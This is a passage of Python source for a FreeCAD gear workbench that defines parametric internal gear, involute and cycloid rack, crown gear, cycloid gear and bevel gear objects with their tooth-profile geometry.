obj.addProperty(\"App::PropertyFloat\", \"head\", \"tolerance\", \"head_value * modul_value = additional length of head\")\n        obj.addProperty(\"App::PropertyFloat\", \"clearance\", \"tolerance\", \"clearance\")\n\n    def add_involute_properties(self, obj):\n        obj.addProperty(\"App::PropertyFloat\", \"shift\", \"involute\", \"shift\")\n        obj.addProperty(\"App::PropertyAngle\", \"pressure_angle\", \"involute\", \"pressure angle\")\n\n    def add_helical_properties(self, obj):\n        obj.addProperty(\"App::PropertyAngle\", \"beta\", \"helical\", \"beta \")\n        obj.addProperty(\"App::PropertyBool\", \"double_helix\", \"helical\", \"double helix\")\n        obj.addProperty(\n            \"App::PropertyBool\", \"properties_from_tool\", \"helical\", \"if beta is given and properties_from_tool is enabled, \\\n            gear parameters are internally recomputed for the rotated gear\")\n\n    def generate_gear_shape(self, fp):\n        fp.gear.double_helix = fp.double_helix\n        fp.gear.m_n = fp.module.Value\n        fp.gear.z = fp.teeth\n        fp.gear.undercut = False # no undercut for internal gears\n        fp.gear.shift = fp.shift\n        fp.gear.pressure_angle = fp.pressure_angle.Value * np.pi / 180.\n        fp.gear.beta = fp.beta.Value * np.pi / 180\n        fp.gear.clearance = fp.head # swap head and clearance to become \"internal\"\n        fp.gear.backlash = fp.backlash.Value * \\\n            (fp.reversed_backlash - 0.5) * 2. # negate \"reversed_backslash\", for \"internal\"\n        fp.gear.head = fp.clearance # swap head and clearance to become \"internal\"\n        fp.gear.properties_from_tool = fp.properties_from_tool\n        fp.gear._update()\n\n        fp.dw = \"{}mm\".format(fp.gear.dw)\n        \n        # computed properties\n        fp.transverse_pitch = \"{}mm\".format(fp.gear.pitch)\n        fp.outside_diameter = fp.dw + 2 * fp.thickness\n        # checksbackwardcompatibility:\n        if not \"da\" in fp.PropertiesList:\n            self.add_limiting_diameter_properties(fp)\n        fp.da = \"{}mm\".format(fp.gear.df) # swap addednum and dedendum for \"internal\"\n        fp.df = \"{}mm\".format(fp.gear.da) # swap addednum and dedendum for \"internal\"\n\n\n        outer_circle = Part.Wire(Part.makeCircle(fp.outside_diameter / 2.))\n        outer_circle.reverse()\n        if not fp.simple:\n            # head-fillet:\n            pts = fp.gear.points(num=fp.numpoints)\n            rot = rotation(-fp.gear.phipart)\n            rotated_pts = list(map(rot, pts))\n            pts.append([pts[-1][-1],rotated_pts[0][0]])\n            pts += rotated_pts\n            tooth = points_to_wire(pts)\n            r_head = float(fp.root_fillet * fp.module)  # reversing head\n            r_root = float(fp.head_fillet * fp.module)  # and foot\n            edges = tooth.Edges\n            if len(tooth.Edges) == 11:\n                pos_head = [1, 3, 9]\n                pos_root = [6, 8]\n                edge_range = [2, 12]\n            else:\n                pos_head = [0, 2, 6]\n                pos_root = [4, 6]\n                edge_range = [1, 9]\n\n            for pos in pos_head:\n                edges = insert_fillet(edges, pos, r_head)\n\n            for pos in pos_root:\n                try:\n                    edges = insert_fillet(edges, pos, r_root)\n                except RuntimeError:\n                    edges.pop(8)\n                    edges.pop(6)\n                    edge_range = [2, 10]\n                    pos_root = [5, 7]\n                    for pos in pos_root:\n                        edges = insert_fillet(edges, pos, r_root)\n                    break\n            edges = edges[edge_range[0]:edge_range[1]]\n            edges = [e for e in edges if e is not None]\n\n            tooth = Wire(edges)\n            profile = rotate_tooth(tooth, fp.teeth)\n            if fp.height.Value == 0:\n                return Part.makeCompound([outer_circle, profile])\n            base = Face([outer_circle, profile])\n            if fp.beta.Value == 0:\n                return base.extrude(App.Vector(0, 0, fp.height.Value))\n            else:\n                twist_angle = fp.height.Value * np.tan(fp.gear.beta) * 2 / fp.gear.d\n                return helicalextrusion(base, fp.height.Value, twist_angle, fp.double_helix)\n        else:\n            inner_circle = Part.Wire(Part.makeCircle(fp.dw / 2.))\n            inner_circle.reverse()\n            base = Face([outer_circle, inner_circle])\n            return base.extrude(App.Vector(0, 0, fp.height.Value))\n\n    def __getstate__(self):\n        return None\n\n    def __setstate__(self, state):\n        return None\n\n\nclass InvoluteGearRack(BaseGear):\n\n    \"\"\"FreeCAD gear rack\"\"\"\n\n    def __init__(self, obj):\n        super(InvoluteGearRack, self).__init__(obj)\n        self.involute_rack = InvoluteRack()\n        obj.addProperty(\"App::PropertyInteger\",\n                        \"teeth\", \"base\", \"number of teeth\")\n        obj.addProperty(\n            \"App::PropertyLength\", \"height\", \"base\", \"height\")\n        obj.addProperty(\n            \"App::PropertyLength\", \"module\", \"base\", \"module\")\n        obj.addProperty(\n            \"App::PropertyLength\", \"thickness\", \"base\", \"thickness\")\n        obj.addProperty(\n            \"App::PropertyBool\", \"simplified\", \"precision\", \"if enabled the rack is drawn with a constant number of \\\n            teeth to avoid topologic renaming.\")\n        obj.addProperty(\"App::PropertyPythonObject\", \"rack\", \"base\", \"test\")\n\n        self.add_helical_properties(obj)\n        self.add_computed_properties(obj)\n        self.add_tolerance_properties(obj)\n        self.add_involute_properties(obj)\n        self.add_fillet_properties(obj)\n        obj.rack = self.involute_rack\n        obj.teeth = 15\n        obj.module = '1. mm'\n        obj.pressure_angle = '20. deg'\n        obj.height = '5. mm'\n        obj.thickness = '5 mm'\n        obj.beta = '0. deg'\n        obj.clearance = 0.25\n        obj.head = 0.\n        obj.properties_from_tool = False\n        obj.add_endings = True\n        obj.simplified = False\n        self.obj = obj\n        obj.Proxy = self\n\n    def add_helical_properties(self, obj):\n        obj.addProperty(\n            \"App::PropertyBool\", \"properties_from_tool\", \"helical\", \"if beta is given and properties_from_tool is enabled, \\\n            gear parameters are internally recomputed for the rotated gear\")\n        obj.addProperty(\n            \"App::PropertyAngle\", \"beta\", \"helical\", \"beta \")\n        obj.addProperty(\n            \"App::PropertyBool\", \"double_helix\", \"helical\", \"double helix\")\n\n    def add_computed_properties(self, obj):\n        obj.addProperty(\"App::PropertyLength\", \"transverse_pitch\",\n            \"computed\", \"pitch in the transverse plane\", 1)\n        obj.addProperty(\"App::PropertyBool\", \"add_endings\", \"base\", \"if enabled the total length of the rack is teeth x pitch, \\\n            otherwise the rack starts with a tooth-flank\")\n\n    def add_tolerance_properties(self, obj):\n        obj.addProperty(\n            \"App::PropertyFloat\", \"head\", \"tolerance\", \"head * module = additional length of head\")\n        obj.addProperty(\n            \"App::PropertyFloat\", \"clearance\", \"tolerance\", \"clearance * module = additional length of root\")\n\n    def add_involute_properties(self, obj):\n        obj.addProperty(\n            \"App::PropertyAngle\", \"pressure_angle\", \"involute\", \"pressure angle\")\n\n    def add_fillet_properties(self, obj):\n        obj.addProperty(\"App::PropertyFloat\", \"head_fillet\", \"fillets\", \"a fillet for the tooth-head, radius = head_fillet x module\")\n        obj.addProperty(\"App::PropertyFloat\", \"root_fillet\", \"fillets\", \"a fillet for the tooth-root, radius = root_fillet x module\")\n\n    def generate_gear_shape(self, obj):\n        obj.rack.m = obj.module.Value\n        obj.rack.z = obj.teeth\n        obj.rack.pressure_angle = obj.pressure_angle.Value * np.pi / 180.\n        obj.rack.thickness = obj.thickness.Value\n        obj.rack.beta = obj.beta.Value * np.pi / 180.\n        obj.rack.head = obj.head\n        # checksbackwardcompatibility:\n        if \"clearance\" in obj.PropertiesList:\n            obj.rack.clearance = obj.clearance\n        if \"properties_from_tool\" in obj.PropertiesList:\n            obj.rack.properties_from_tool = obj.properties_from_tool\n        if \"add_endings\" in obj.PropertiesList:\n            obj.rack.add_endings = obj.add_endings\n        if \"simplified\" in obj.PropertiesList:\n            obj.rack.simplified = obj.simplified\n        obj.rack._update()\n        m, m_n, pitch, pressure_angle_t = obj.rack.compute_properties()\n        obj.transverse_pitch = \"{} mm\".format(pitch)\n        t = obj.thickness.Value\n        c = obj.clearance\n        h = obj.head\n        alpha = obj.pressure_angle.Value * np.pi / 180.\n        head_fillet = obj.head_fillet\n        root_fillet = obj.root_fillet\n        x1 = -m * np.pi / 2\n        y1 = -m * (1 + c)\n        y2 = y1\n        x2 = -m * np.pi / 4 + y2 * np.tan(alpha)\n        y3 = m * (1 + h)\n        x3 = -m * np.pi / 4 + y3 * np.tan(alpha)\n        x4 = -x3\n        x5 = -x2\n        x6 = -x1\n        y4 = y3\n        y5 = y2\n        y6 = y1\n        p1 = np.array([y1, x1])\n        p2 = np.array([y2, x2])\n        p3 = np.array([y3, x3])\n        p4 = np.array([y4, x4])\n        p5 = np.array([y5, x5])\n        p6 = np.array([y6, x6])\n        line1 = [p1, p2]\n        line2 = [p2, p3]\n        line3 = [p3, p4]\n        line4 = [p4, p5]\n        line5 = [p5, p6]\n        tooth = Wire(points_to_wire([line1, line2, line3, line4, line5]))\n\n        edges = tooth.Edges\n        edges = insert_fillet(edges, 0, m * root_fillet)\n        edges = insert_fillet(edges, 2, m * head_fillet)\n        edges = insert_fillet(edges, 4, m * head_fillet)\n        edges = insert_fillet(edges, 6, m * root_fillet)\n\n        tooth_edges = [e for e in edges if e is not None]\n        p_end = np.array(tooth_edges[-2].lastVertex().Point[:-1])\n        p_start = np.array(tooth_edges[1].firstVertex().Point[:-1])\n        p_start += np.array([0, np.pi * m])\n        edge = points_to_wire([[p_end, p_start]]).Edges\n        tooth = Wire(tooth_edges[1:-1] + edge)\n        teeth = [tooth]\n\n        for i in range(obj.teeth - 1):\n            tooth = copy.deepcopy(tooth)\n            tooth.translate(App.Vector(0, np.pi * m, 0))\n            teeth.append(tooth)\n\n        teeth[-1] = Wire(teeth[-1].Edges[:-1])\n\n        if obj.add_endings:\n            teeth = [Wire(tooth_edges[0])] + teeth\n            last_edge = tooth_edges[-1]\n            last_edge.translate(App.Vector(0, np.pi * m * (obj.teeth - 1), 0))\n            teeth = teeth + [Wire(last_edge)]\n\n        p_start = np.array(teeth[0].Edges[0].firstVertex().Point[:-1])\n        p_end = np.array(teeth[-1].Edges[-1].lastVertex().Point[:-1])\n        p_start_1 = p_start - np.array([obj.thickness.Value, 0.])\n        p_end_1 = p_end - np.array([obj.thickness.Value, 0.])\n\n        line6 = [p_start, p_start_1]\n        line7 = [p_start_1, p_end_1]\n        line8 = [p_end_1, p_end]\n\n        bottom = points_to_wire([line6, line7, line8])\n\n        pol = Wire([bottom] + teeth)\n\n        if obj.height.Value == 0:\n            return pol\n        elif obj.beta.Value == 0:\n            face = Face(Wire(pol))\n            return face.extrude(fcvec([0., 0., obj.height.Value]))\n        elif obj.double_helix:\n            beta = obj.beta.Value * np.pi / 180.\n            pol2 = Part.Wire(pol)\n            pol2.translate(\n                fcvec([0., np.tan(beta) * obj.height.Value / 2, obj.height.Value / 2]))\n            pol3 = Part.Wire(pol)\n            pol3.translate(fcvec([0., 0., obj.height.Value]))\n            return makeLoft([pol, pol2, pol3], True, True)\n        else:\n            beta = obj.beta.Value * np.pi / 180.\n            pol2 = Part.Wire(pol)\n            pol2.translate(\n                fcvec([0., np.tan(beta) * obj.height.Value, obj.height.Value]))\n            return makeLoft([pol, pol2], True)\n\n    def __getstate__(self):\n        return None\n\n    def __setstate__(self, state):\n        return None\n\nclass CycloidGearRack(BaseGear):\n\n    \"\"\"FreeCAD gear rack\"\"\"\n\n    def __init__(self, obj):\n        super(CycloidGearRack, self).__init__(obj)\n        obj.addProperty(\"App::PropertyInteger\",\n                        \"teeth\", \"base\", \"number of teeth\")\n        obj.addProperty(\n            \"App::PropertyLength\", \"height\", \"base\", \"height\")\n        obj.addProperty(\n            \"App::PropertyLength\", \"thickness\", \"base\", \"thickness\")\n        obj.addProperty(\n            \"App::PropertyLength\", \"module\", \"involute\", \"module\")\n        obj.addProperty(\n            \"App::PropertyBool\", \"simplified\", \"precision\", \"if enabled the rack is drawn with a constant number of \\\n            teeth to avoid topologic renaming.\")\n        obj.addProperty(\"App::PropertyInteger\", \"numpoints\", \"accuracy\", \"number of points for spline\")\n        obj.addProperty(\"App::PropertyPythonObject\", \"rack\", \"base\", \"test\")\n\n        self.add_helical_properties(obj)\n        self.add_computed_properties(obj)\n        self.add_tolerance_properties(obj)\n        self.add_cycloid_properties(obj)\n        self.add_fillet_properties(obj)\n        obj.teeth = 15\n        obj.module = '1. mm'\n        obj.inner_diameter = 7.5\n        obj.outer_diameter = 7.5\n        obj.height = '5. mm'\n        obj.thickness = '5 mm'\n        obj.beta = '0. deg'\n        obj.clearance = 0.25\n        obj.head = 0.\n        obj.add_endings = True\n        obj.simplified = False\n        obj.numpoints = 15\n        self.obj = obj\n        obj.Proxy = self\n\n    def add_helical_properties(self, obj):\n        obj.addProperty(\n            \"App::PropertyAngle\", \"beta\", \"helical\", \"beta \")\n        obj.addProperty(\n            \"App::PropertyBool\", \"double_helix\", \"helical\", \"double helix\")\n\n    def add_computed_properties(self, obj):\n        obj.addProperty(\"App::PropertyLength\", \"transverse_pitch\",\n            \"computed\", \"pitch in the transverse plane\", 1)\n        obj.addProperty(\"App::PropertyBool\", \"add_endings\", \"base\", \"if enabled the total length of the rack is teeth x pitch, \\\n            otherwise the rack starts with a tooth-flank\")\n\n    def add_tolerance_properties(self, obj):\n        obj.addProperty(\n            \"App::PropertyFloat\", \"head\", \"tolerance\", \"head * module = additional length of head\")\n        obj.addProperty(\n            \"App::PropertyFloat\", \"clearance\", \"tolerance\", \"clearance * module = additional length of root\")\n\n    def add_cycloid_properties(self, obj):\n        obj.addProperty(\"App::PropertyFloat\", \"inner_diameter\", \"cycloid\", \"inner_diameter divided by module (hypocycloid)\")\n        obj.addProperty(\"App::PropertyFloat\", \"outer_diameter\", \"cycloid\", \"outer_diameter divided by module (epicycloid)\")\n\n    def add_fillet_properties(self, obj):\n        obj.addProperty(\"App::PropertyFloat\", \"head_fillet\", \"fillets\", \"a fillet for the tooth-head, radius = head_fillet x module\")\n        obj.addProperty(\"App::PropertyFloat\", \"root_fillet\", \"fillets\", \"a fillet for the tooth-root, radius = root_fillet x module\")\n    \n    def generate_gear_shape(self, obj):\n        numpoints = obj.numpoints\n        m = obj.module.Value\n        t = obj.thickness.Value\n        r_i = obj.inner_diameter / 2 * m\n        r_o = obj.outer_diameter / 2 * m\n        c = obj.clearance\n        h = obj.head\n        head_fillet = obj.head_fillet\n        root_fillet = obj.root_fillet\n        phi_i_end = np.arccos(1 - m / r_i * (1 + c))\n        phi_o_end = np.arccos(1 - m / r_o * (1 + h))\n        phi_i = np.linspace(phi_i_end, 0, numpoints)\n        phi_o = np.linspace(0, phi_o_end, numpoints)\n        y_i = r_i * (np.cos(phi_i) - 1)\n        y_o = r_o * (1 - np.cos(phi_o))\n        x_i = r_i * (np.sin(phi_i) - phi_i) - m * np.pi / 4\n        x_o = r_o * (phi_o - np.sin(phi_o)) - m * np.pi / 4\n        x = x_i.tolist()[:-1] + x_o.tolist()\n        y = y_i.tolist()[:-1] + y_o.tolist()\n        points = np.array([y, x]).T\n        mirror = reflection(0)\n        points_1 = mirror(points)[::-1]\n        line_1 = [points[-1], points_1[0]]\n        line_2 = [points_1[-1], np.array([-(1 + c) * m , m * np.pi / 2])]\n        line_0 = [np.array([-(1 + c) * m , -m * np.pi / 2]), points[0]]\n        tooth = points_to_wire([line_0, points, line_1, points_1, line_2])\n\n        edges = tooth.Edges\n        edges = insert_fillet(edges, 0, m * root_fillet)\n        edges = insert_fillet(edges, 2, m * head_fillet)\n        edges = insert_fillet(edges, 4, m * head_fillet)\n        edges = insert_fillet(edges, 6, m * root_fillet)\n\n        tooth_edges = [e for e in edges if e is not None]\n        p_end = np.array(tooth_edges[-2].lastVertex().Point[:-1])\n        p_start = np.array(tooth_edges[1].firstVertex().Point[:-1])\n        p_start += np.array([0, np.pi * m])\n        edge = points_to_wire([[p_end, p_start]]).Edges\n        tooth = Wire(tooth_edges[1:-1] + edge)\n        teeth = [tooth]\n\n        for i in range(obj.teeth - 1):\n            tooth = copy.deepcopy(tooth)\n            tooth.translate(App.Vector(0, np.pi * m, 0))\n            teeth.append(tooth)\n\n        teeth[-1] = Wire(teeth[-1].Edges[:-1])\n\n        if obj.add_endings:\n            teeth = [Wire(tooth_edges[0])] + teeth\n            last_edge = tooth_edges[-1]\n            last_edge.translate(App.Vector(0, np.pi * m * (obj.teeth - 1), 0))\n            teeth = teeth + [Wire(last_edge)]\n\n        p_start = np.array(teeth[0].Edges[0].firstVertex().Point[:-1])\n        p_end = np.array(teeth[-1].Edges[-1].lastVertex().Point[:-1])\n        p_start_1 = p_start - np.array([obj.thickness.Value, 0.])\n        p_end_1 = p_end - np.array([obj.thickness.Value, 0.])\n\n        line6 = [p_start, p_start_1]\n        line7 = [p_start_1, p_end_1]\n        line8 = [p_end_1, p_end]\n\n        bottom = points_to_wire([line6, line7, line8])\n\n        pol = Wire([bottom] + teeth)\n\n        if obj.height.Value == 0:\n            return pol\n        elif obj.beta.Value == 0:\n            face = Face(Wire(pol))\n            return face.extrude(fcvec([0., 0., obj.height.Value]))\n        elif obj.double_helix:\n            beta = obj.beta.Value * np.pi / 180.\n            pol2 = Part.Wire(pol)\n            pol2.translate(\n                fcvec([0., np.tan(beta) * obj.height.Value / 2, obj.height.Value / 2]))\n            pol3 = Part.Wire(pol)\n            pol3.translate(fcvec([0., 0., obj.height.Value]))\n            return makeLoft([pol, pol2, pol3], True, True)\n        else:\n            beta = obj.beta.Value * np.pi / 180.\n            pol2 = Part.Wire(pol)\n            pol2.translate(\n                fcvec([0., np.tan(beta) * obj.height.Value, obj.height.Value]))\n            return makeLoft([pol, pol2], True)\n\n\n\n\n\n    def __getstate__(self):\n        return None\n\n    def __setstate__(self, state):\n        return None\n\n\nclass CrownGear(BaseGear):\n    def __init__(self, obj):\n        super(CrownGear, self).__init__(obj)\n        obj.addProperty(\"App::PropertyInteger\",\n                        \"teeth\", \"base\", \"number of teeth\")\n        obj.addProperty(\"App::PropertyInteger\",\n                        \"other_teeth\", \"base\", \"number of teeth of other gear\")\n        obj.addProperty(\"App::PropertyLength\", \"module\", \"base\", \"module\")\n        obj.addProperty(\"App::PropertyLength\", \"height\", \"base\", \"height\")\n        obj.addProperty(\"App::PropertyLength\", \"thickness\", \"base\", \"thickness\")\n        obj.addProperty(\"App::PropertyAngle\", \"pressure_angle\", \"involute\", \"pressure angle\")\n        self.add_accuracy_properties(obj)\n        obj.teeth = 15\n        obj.other_teeth = 15\n        obj.module = '1. mm'\n        obj.pressure_angle = '20. deg'\n        obj.height = '2. mm'\n        obj.thickness = '5 mm'\n        obj.num_profiles = 4\n        obj.preview_mode = True\n        self.obj = obj\n        obj.Proxy = self\n\n        App.Console.PrintMessage(\"Gear module: Crown gear created, preview_mode = true for improved performance. \"\\\n                                 \"Set preview_mode property to false when ready to cut teeth.\")\n\n    def add_accuracy_properties(self, obj):\n        obj.addProperty(\"App::PropertyInteger\", \"num_profiles\", \"accuracy\", \"number of profiles used for loft\")\n        obj.addProperty(\"App::PropertyBool\", \"preview_mode\", \"accuracy\", \"if true no boolean operation is done\")\n\n    def profile(self, m, r, r0, t_c, t_i, alpha_w, y0, y1, y2):\n        r_ew = m * t_i / 2\n\n        # 1: modifizierter Waelzkreisdurchmesser:\n        r_e = r / r0 * r_ew\n\n        # 2: modifizierter Schraegungswinkel:\n        alpha = np.arccos(r0 / r * np.cos(alpha_w))\n\n        # 3: winkel phi bei senkrechter stellung eines zahns:\n        phi = np.pi / t_i / 2 + (alpha - alpha_w) + \\\n            (np.tan(alpha_w) - np.tan(alpha))\n\n        # 4: Position des Eingriffspunktes:\n        x_c = r_e * np.sin(phi)\n        dy = -r_e * np.cos(phi) + r_ew\n\n        # 5: oberer Punkt:\n        b = y1 - dy\n        a = np.tan(alpha) * b\n        x1 = a + x_c\n\n        # 6: unterer Punkt\n        d = y2 + dy\n        c = np.tan(alpha) * d\n        x2 = x_c - c\n\n        r *= np.cos(phi)\n        pts = [\n            [-x1, r, y0],\n            [-x2, r, y0 - y1 - y2],\n            [x2, r, y0 - y1 - y2],\n            [x1, r, y0]\n        ]\n        pts.append(pts[0])\n        return pts\n\n    def generate_gear_shape(self, fp):\n        inner_diameter = fp.module.Value * fp.teeth\n        outer_diameter = inner_diameter + fp.height.Value * 2\n        inner_circle = Part.Wire(Part.makeCircle(inner_diameter / 2.))\n        outer_circle = Part.Wire(Part.makeCircle(outer_diameter / 2.))\n        inner_circle.reverse()\n        face = Part.Face([outer_circle, inner_circle])\n        solid = face.extrude(App.Vector([0., 0., -fp.thickness.Value]))\n        if fp.preview_mode:\n            return solid\n\n        # cutting obj\n        alpha_w = np.deg2rad(fp.pressure_angle.Value)\n        m = fp.module.Value\n        t = fp.teeth\n        t_c = t\n        t_i = fp.other_teeth\n        rm = inner_diameter / 2\n        y0 = m * 0.5\n        y1 = m + y0\n        y2 = m\n        r0 = inner_diameter / 2 - fp.height.Value * 0.1\n        r1 = outer_diameter / 2 + fp.height.Value * 0.3\n        polies = []\n        for r_i in np.linspace(r0, r1, fp.num_profiles):\n            pts = self.profile(m, r_i, rm, t_c, t_i, alpha_w, y0, y1, y2)\n            poly = Wire(makePolygon(list(map(fcvec, pts))))\n            polies.append(poly)\n        loft = makeLoft(polies, True)\n        rot = App.Matrix()\n        rot.rotateZ(2 * np.pi / t)\n        cut_shapes = []\n        for _ in range(t):\n            loft = loft.transformGeometry(rot)\n            cut_shapes.append(loft)\n        return solid.cut(cut_shapes)\n\n    def __getstate__(self):\n        pass\n\n    def __setstate__(self, state):\n        pass\n\n\nclass CycloidGear(BaseGear):\n    \"\"\"FreeCAD gear\"\"\"\n\n    def __init__(self, obj):\n        super(CycloidGear, self).__init__(obj)\n        self.cycloid_tooth = CycloidTooth()\n        obj.addProperty(\"App::PropertyInteger\",\n                        \"teeth\", \"base\", \"number of teeth\")\n        obj.addProperty(\n            \"App::PropertyLength\", \"module\", \"base\", \"module\")\n        obj.addProperty(\n            \"App::PropertyLength\", \"height\", \"base\", \"height\")\n\n        obj.addProperty(\"App::PropertyInteger\", \"numpoints\", \"accuracy\", \"number of points for spline\")\n        obj.addProperty(\"App::PropertyPythonObject\", \"gear\",\n                        \"base\", \"the python object\")\n\n        self.add_helical_properties(obj)\n        self.add_fillet_properties(obj)\n        self.add_tolerance_properties(obj)\n        self.add_cycloid_properties(obj)\n        self.add_computed_properties(obj)\n        obj.gear = self.cycloid_tooth\n        obj.teeth = 15\n        obj.module = '1. mm'\n        obj.setExpression('inner_diameter', 'teeth / 2') # teeth/2 makes the hypocycloid a straight line to the center\n        obj.outer_diameter = 7.5 # we don't know the mating gear, so we just set the default to mesh with our default\n        obj.beta = '0. deg'\n        obj.height = '5. mm'\n        obj.clearance = 0.25\n        obj.numpoints = 15\n        obj.backlash = '0.00 mm'\n        obj.double_helix = False\n        obj.head = 0\n        obj.head_fillet = 0\n        obj.root_fillet = 0\n        obj.Proxy = self\n\n    def add_helical_properties(self, obj):\n        obj.addProperty(\"App::PropertyBool\", \"double_helix\", \"helical\", \"double helix\")\n        obj.addProperty(\"App::PropertyAngle\", \"beta\", \"helical\", \"beta\")\n\n    def add_fillet_properties(self, obj):\n        obj.addProperty(\"App::PropertyFloat\", \"head_fillet\", \"fillets\", \"a fillet for the tooth-head, radius = head_fillet x module\")\n        obj.addProperty(\"App::PropertyFloat\", \"root_fillet\", \"fillets\", \"a fillet for the tooth-root, radius = root_fillet x module\")\n\n    def add_tolerance_properties(self, obj):\n        obj.addProperty(\"App::PropertyFloat\", \"clearance\", \"tolerance\", \"clearance\")\n        obj.addProperty(\"App::PropertyLength\", \"backlash\", \"tolerance\",\n            \"The arc length on the pitch circle by which the tooth thicknes is reduced.\")\n        obj.addProperty(\"App::PropertyFloat\", \"head\", \"tolerance\", \"head_value * modul_value = additional length of head\")\n\n    def add_cycloid_properties(self, obj):\n        obj.addProperty(\"App::PropertyFloat\", \"inner_diameter\", \"cycloid\", \"inner_diameter divided by module (hypocycloid)\")\n        obj.addProperty(\"App::PropertyFloat\", \"outer_diameter\", \"cycloid\", \"outer_diameter divided by module (epicycloid)\")\n\n    def add_computed_properties(self, obj):\n        obj.addProperty(\"App::PropertyLength\", \"dw\", \"computed\", \"The pitch diameter.\")\n        obj.setExpression('dw', 'teeth * module') # calculate via expression to ease usage for placement\n        obj.setEditorMode('dw', 1) # set read-only after setting the expression, else it won't be visible. bug?\n        obj.addProperty(\"App::PropertyAngle\", \"angular_backlash\", \"computed\",\n            \"The angle by which this gear can turn without moving the mating gear.\")\n        obj.setExpression('angular_backlash', 'backlash / dw * 360° / pi') # calculate via expression to ease usage for placement\n        obj.setEditorMode('angular_backlash', 1) # set read-only after setting the expression, else it won't be visible. bug?\n\n    def generate_gear_shape(self, fp):\n        fp.gear.m = fp.module.Value\n        fp.gear.z = fp.teeth\n        fp.dw = fp.module * fp.teeth\n        fp.gear.z1 = fp.inner_diameter\n        fp.gear.z2 = fp.outer_diameter\n        fp.gear.clearance = fp.clearance\n        fp.gear.head = fp.head\n        fp.gear.backlash = fp.backlash.Value\n        fp.gear._update()\n\n        pts = fp.gear.points(num=fp.numpoints)\n        rot = rotation(-fp.gear.phipart)\n        rotated_pts = list(map(rot, pts))\n        pts.append([pts[-1][-1],rotated_pts[0][0]])\n        pts += rotated_pts\n        tooth = points_to_wire(pts)\n        edges = tooth.Edges\n\n        r_head = float(fp.head_fillet * fp.module)\n        r_root = float(fp.root_fillet * fp.module)\n\n        pos_head = [0, 2, 6]\n        pos_root = [4, 6]\n        edge_range = [1, 9]\n\n        for pos in pos_head:\n            edges = insert_fillet(edges, pos, r_head)\n\n        for pos in pos_root:\n            edges = insert_fillet(edges, pos, r_root)\n\n        edges = edges[edge_range[0]:edge_range[1]]\n        edges = [e for e in edges if e is not None]\n\n        tooth = Wire(edges)\n\n        profile = rotate_tooth(tooth, fp.teeth)\n        if fp.height.Value == 0:\n            return profile\n        base = Face(profile)\n        if fp.beta.Value == 0:\n            return base.extrude(App.Vector(0, 0, fp.height.Value))\n        else:\n            twist_angle = fp.height.Value * np.tan(fp.beta.Value * np.pi / 180) * 2 / fp.gear.d\n            return helicalextrusion(base, fp.height.Value, twist_angle, fp.double_helix)\n\n    def __getstate__(self):\n        return None\n\n    def __setstate__(self, state):\n        return None\n\n\nclass BevelGear(BaseGear):\n\n    \"\"\"parameters:\n        pressure_angle:  pressureangle,   10-30°\n        pitch_angle:  cone angle,      0 < pitch_angle < pi/4\n    \"\"\"\n\n    def __init__(self, obj):\n        super(BevelGear, self).__init__(obj)\n        self.bevel_tooth = BevelTooth()\n        obj.addProperty(\"App::PropertyInteger\", \"teeth\", \"base\", \"number of teeth\")\n        obj.addProperty(\"App::PropertyLength\", \"height\", \"base\", \"height\")\n        obj.addProperty(\"App::PropertyAngle\", \"pitch_angle\", \"involute\", \"pitch_angle\")\n        obj.addProperty(\"App::PropertyAngle\", \"pressure_angle\", \"involute_parameter\", \"pressure_angle\")\n        obj.addProperty(\"App::PropertyLength\", \"module\", \"base\", \"module\")\n        obj.addProperty(\"App::PropertyFloat\", \"clearance\", \"tolerance\", \"clearance\")\n        obj.addProperty(\"App::PropertyInteger\", \"numpoints\", \"precision\", \"number of points for spline\")\n        obj.addProperty(\"App::PropertyBool\", \"reset_origin\", \"base\", \"if value is true the gears outer face will match the z=0 plane\")\n        obj.addProperty(\"App::PropertyLength\", \"backlash\", \"tolerance\",\n            \"The arc length on the pitch circle by which the tooth thicknes is reduced.\")\n        obj.addProperty(\"App::PropertyPythonObject\", \"gear\", \"base\", \"test\")\n        obj.addProperty(\"App::PropertyAngle\", \"beta\",\"helical\", \"angle used for spiral bevel-gears\")\n        obj.addProperty(\"App::PropertyLength\", \"dw\", \"computed\", \"The pitch diameter.\")\n        obj.setExpression('dw', 'teeth * module') # calculate via expression to ease usage for placement\n        obj.setEditorMode('dw', 1) # set read-only after setting the expression, else it won't be visible. bug?\n        obj.addProperty(\"App::PropertyAngle\", \"angular_backlash\", \"computed\",\n            \"The angle by which this gear can turn without moving the mating gear.\")\n        obj.setExpression('angular_backlash', 'backlash / dw * 360° / pi') # calculate via expression to ease usage for placement\n        obj.setEditorMode('angular_backlash', 1) # set read-only after setting the expression, else it won't be visible. bug?\n        obj.gear = self.bevel_tooth\n        obj.module = '1. mm'\n        obj.teeth = 15\n        obj.pressure_angle = '20. deg'\n        obj.pitch_angle = '45. deg'\n        obj.height = '5. mm'\n        obj.numpoints = 6\n        obj.backlash = '0.00 mm'\n        obj.clearance = 0.1\n        obj.beta = '0 deg'\n        obj.reset_origin = True\n        self.obj = obj\n        obj.Proxy = self\n\n    def generate_gear_shape(self, fp):\n        fp.gear.z = fp.teeth\n        fp.gear.module = fp.module.Value\n        fp.gear.pressure_angle = (90 - fp.pressure_angle.Value) * np.pi / 180.\n        fp.gear.pitch_angle = fp.pitch_angle.Value * np.pi / 180\n        max_height = fp.gear.module * fp.teeth / 2 / np.tan(fp.gear.pitch_angle)\n        if fp.height >= max_height:\n            App.Console.PrintWarning(\"height must be smaller than {}\".format(max_height))\n        fp.gear.backlash = fp.backlash.Value\n        scale = fp.module.Value * fp.gear.z / 2 / \\\n            np.tan(fp.pitch_angle.Value * np.pi / 180)\n        fp.gear.clearance = fp.clearance / scale\n        fp.gear._update()\n        pts = list(fp.gear.points(num=fp.numpoints))\n        rot = rotation3D(2 * np.pi / fp.teeth)\n        # if fp.beta.Value != 0:\n        #     pts = [np.array([self.spherical_rot(j, fp.beta.Value * np.pi / 180.) for j in i]) for i in pts]\n\n        rotated_pts = pts\n        for i in range(fp.gear.z - 1):\n            rotated_pts = list(map(rot, rotated_pts))\n            pts.append(np.array([pts[-1][-1], rotated_pts[0][0]]))\n            pts += rotated_pts\n        pts.append(np.array([pts[-1][-1], pts[0][0]]))\n        wires = []\n        if not \"version\" in fp.PropertiesList:\n            scale_0 = scale - fp.height.Value / 2\n            scale_1 = scale + fp.height.Value / 2\n        else: # starting with version 0.0.2\n            scale_0 = scale - fp.height.Value\n            scale_1 = scale\n        if fp.beta.Value == 0:\n            wires.append(make_bspline_wire([scale_0 * p for p in pts]))\n            